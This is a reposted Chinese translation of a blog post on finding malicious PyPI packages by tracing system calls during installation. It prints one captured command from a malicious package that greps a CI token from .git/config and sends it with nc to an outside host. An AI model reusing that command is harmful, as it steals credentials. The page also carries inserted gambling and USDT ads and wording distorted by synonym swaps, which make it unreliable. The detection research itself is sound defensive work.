快捷搜索:  诚信    为什么  3倍  关闭  敌人  食物  看不见

usdt无需实名(www.caibao.it):在PyPI上寻找恶意程序包

约莫一年前,Python软件基金会(Python Software Foundation)发起了一个信息请求(RFI)流动,讨论若何检测上传到PyPI的恶意程序包。无论是接受废弃的程序包、在盛行的库中误植域名(Typosquatting),照样使用凭证填充挟制程序包,很显著,这是一个影响险些每一个程序包管理器的现实问题。误植域名(Typosquatting),也称作URL挟制,假URL等,是一种域名抢注的形式,常常会导致品牌挟制。这种挟制的方式通常有赖于用户在浏览器中输入网址时,犯下诸如错误拼写等错误。用户一旦不小心输入了一个错误的网址,便有可能被导向任何一个其他的网址(比如说一个域名抢注者运营的网站)。

事实上,像PyPI这样的程序包管理器是险些所有公司都依赖的要害基础设施。关于这个主题,我可以写好几天,然则我现在只写这篇xkcd就够了。

这是我感兴趣的领域,因此我对若何处置此问题提出了自己的想法。但另有一件事困扰我:思量安装程序包后会发生什么。

只管对于某些设置流动可能是必须的,但应始终使用相关查看工具来查看诸如在pip安装历程中确立网络毗邻或执行下令之类的事情,由于它没有给开发人员太多机会在糟糕的事情发生之前检查代码。

我想对此做进一步的研究,因此在本文中,我将逐步先容若何安装和剖析PyPI中的每个程序包以寻找恶意流动。

若何发现恶意库

为了在安装历程中运行随便下令,开发者通常会将代码添加到程序包中的setup.py文件中,你可以在此存储库中看到一些示例。

在更高条理上讲,你可以执行以下两项操作来查找潜在的恶意依赖项:你可以查看代码中的不良内容(静态剖析),或者危险地安装它们看看会发生什么(动态剖析)。

虽然静态剖析异常有趣(我发现了npm上使用手工grep的恶意程序包),但在这篇文章中,我将重点关注动态剖析。究竟,动态剖析的能力加倍壮大,由于你看到的是现实发生的事情,而不是只寻找可能发生的恶意行为。

那么我们到底在寻找什么呢?

主要事情若何完成

通常,任何主要的事情在发生时都由内核完成。希望通过内核执行主要操作的通俗程序(如pip)是通过使用syscall来完成的。使用syscall可以完成打开文件,确立网络毗邻和执行下令的所有操作!你可以点此领会到更多的信息。

这意味着,若是我们可以在安装Python程序包时代系统挪用,则可以查看是否发生了任何可疑事宜。利益是,代码的混淆水平无关紧要,我们将看到现实发生的情形。

需要注重的是,系统挪用的想法并不是我想出来的。自2017年以来,亚当·鲍德温(Adam Baldwin) 等人一直在讨论这个问题。乔治亚理工学院的研究人员揭晓了一篇很好的论文采用了同样的方式。老实说,本文的大部分内容只是试图复制他们的想法。

因此,我们想要知道系统挪用详细是若何做到这一点呢?

用Sysdig查看系统挪用

Sysdig 是一个超级系统工具,比 strace、tcpdump、lsof 加起来还壮大。可用来捕捉系统状态信息,保留数据并举行过滤和剖析。使用 Lua 开发,提供下令行接口以及壮大的交互界面。

有许多旨在让你查看系统挪用的工具,本文中使用的是sysdig,由于它既提供结构化输出,又提供了一些异常好的过滤功效。

为了实现这一点,在启动安装程序包的Docker容器时,我还启动了一个sysdig历程,该历程仅监控该容器中的事宜。我也过滤掉了要从pypi.org或files.pythonhosted.com举行的网络读/写操作,由于我不想用与程序包下载相关的流量来填充日志。

通过捕捉系统挪用的方式,我不得不解决另一个问题:若何获取所有PyPI程序包的列表。

获取Python包

幸运的是,PyPI有一个称为“简朴API”的API,它也可以被以为是“一个异常大的HTML页面,其中包罗指向每个程序包的链接”,它简朴、清洁而且比我可能会写的任何HTML都要好。

我们可以抓取这个页面并使用pup剖析所有链接,从而为我们提供约268000个程序包:

在这个测试中,我只体贴每个程序包的最新版本。较旧的版本中可能埋藏着恶意版本的程序包,但AWS账单不会自己负担。

我最终获得了一个看起来像这样的管道:

简而言之,我们将每个程序包名称发送到一组EC2实例(我希望未来使用Fargate或其他器械,但我也不知道Fargate),从PyPI获取一些关于程序包的元数据,然后最先sysdig以及一系列的容器pip安装程序包,系统挪用和网络流量被网络。然后,将所有数据发送到S3,以供future-Jordan处置。

这个历程如下所示:

查看效果

一旦完成上面的步骤,我将在一个S3存储桶中存储约莫1TB的数据,笼罩约莫245000个程序包。一些程序包没有公布的版本,一些程序包具有种种处置错误,然则这似乎是一个很好的示例。

以下是详细剖析历程

我合并了元数据和输出,获得如下的一系列JSON文件:

然后,我编写了一系列脚原本最先汇总数据,以试图领会什么是良性的,什么是恶性的。让我们深入研究一下这些输出效果。

,

欧博亚洲官网开户网址

欢迎进入欧博亚洲官网开户网址(Allbet Game):www.aLLbetgame.us,欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。

,

网络请求

在安装历程中,程序包需要确立网络毗邻的缘故原由有许多,他们可能需要下载正当的二进制组件或其他资源,这可能是一种剖析形式,或者可能正试图从系统中窃取数据或凭证。

效果发现,有460个数据程序包毗邻到109个自力的主机,就像上面提到的文章一样,许多这样的程序包都是由于程序包共享了网络毗邻的依赖关系而发生的。可以通过映射依赖关系来过滤掉它们,但在本文的树模中我还没有这样做,这是安装历程中看到的DNS请求明细。

下令执行

像网络毗邻一样,在安装历程中,程序包有合理的理由运行系统下令。这可能是编译本机二进制文件,设置准确的环境等。

查看我们的样本集,发现60725个程序包在安装历程中正在执行下令。就像网络毗邻一样,我们必须切记,其中许多是下游依赖项(运行下令的程序包)的效果。

有趣的程序包

正如预期的那样,经由深入研究效果,大多数网络毗邻和下令似乎都是正当的。但也有一些新鲜行为的例子,我想枚举出来作为案例研究,以说明这种类型的剖析是何等有用。

i-am-malicious

一个名为i-am-malicious的程序包似乎是一个恶意程序包的观点验证,以下是一些有趣的细节,使我们以为该程序包值得研究:

{
  "dns": [{
          "name": "gist.githubusercontent.com",
          "addresses": [
            "199.232.64.133"
          ]
    }]
  ],
  "files": [
    ...
    {
      "filename": "/tmp/malicious.py",
      "flag": "O_RDONLY|O_CLOEXEC"
    },
    ...
    {
      "filename": "/tmp/malicious-was-here",
      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"
    },
    ...
  ],
  "commands": [
    "python /tmp/malicious.py"
  ]
}

我们已经知道这里发生了什么,可以看到一个到gist.github.com的毗邻,正在执行一个Python文件,正在建立一个名为/tmp/malicious-was-here的文件。固然,这正是setup.py中所发生的事情:

正在讨论的malicious.py只是向/tmp/malicious-was-here添加了一个“我曾在这里”类型新闻,解释这确实是一个观点验证。

maliciouspackage

另一个自称为恶意程序的程序包则有创意地命名为maliciouspackage,它的攻击能力要稍高一些。以下是相关输出:

{
  "dns": [{
      "name": "laforge.xyz",
      "addresses": [
        "34.82.112.63"
      ]
  }],
  "files": [
    {
      "filename": "/app/.git/config",
      "flag": "O_RDONLY"
    },
  ],
  "commands": [
    "sh -c apt install -y socat",
    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",
    "grep ci-token /app/.git/config",
    "nc laforge.xyz 5566"
  ]
}

和前面一样,凭据输出效果我们可以对正在发生的事情有了一个很好的领会。在本例中,程序包似乎从.git/config文件中提取了一个令牌,并将其上传到laforge.xyz,我们发现确实是这样:

easyIoCtl

easyIoCtl程序包确实是一个有趣的程序包。它声称提供了“远离无聊的IO操作的抽象”,但我们看到下面的下令正在执行:

效果很可疑,但并不是异常的有攻击性。然而,这是一个展示跟踪系统挪用攻击能力的完善示例。下面是该项目setup.py中的相关代码:

有这么多的混淆,很难知道发生了什么。传统的静态剖析可能会捕捉对exec的挪用,但仅此而已。

要查看它在做什么,我们可以用print替换exec,效果如下:

这正是我们纪录的下令,解释纵然代码混淆也不会影响我们的效果,由于我们是在系统挪用级别举行监控。

当我们发现恶意程序包时会发生什么?

这个问题有需要简要讨论一下,当我们发现恶意程序包时,我们能做些什么。要做的第一件事是通知PyPI开发者,让他们可以获得这个程序包。这可以通过联系[email protected]来实现

之后,我们可以使用BigQuery上的PyPI公共数据集查看程序包被下载了多少次。

这是一个示例查询,用于查找在已往30天内安装了恶意软件包的次数:

运行这个查询可以查出它被下载400次以上:

maliciouspackage下载

总结

第一步只是开端领会了整个PyPI,通过查看数据,我没有发现有任何程序包做了显著的有害流动,而且也没有看起来恶意的名称,虽然情形很乐观,然则我总是有可能错过某些事情,或者未来会发生。若是你有兴趣深入研究数据,你可以在这里找到它。

接下来,我将设置一个Lambda函数来使用PyPI的RSS feed获取最新的程序包更改,每个更新后的程序包都将经由相同的处置,并在检测到可疑流动时发送警报。

我仍然不喜欢仅通过用户 pip install就可以在用户系统上运行随便下令,我知道的大多数用例都是良性的,但带来的风险也必须思量。希望通过越来越多地监控种种程序包管理器,我们可以在恶意流动发生重大影响之前识别其迹象。

本文翻译自:https://jordan-wright.com/blog/post/2020-11-12-hunting-for-malicious-packages-on-pypi/:
发表评论
诚信在线声明:该文看法仅代表作者自己,与本平台无关。请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
用户名: 验证码:点击我更换图片

您可能还会对下面的文章感兴趣: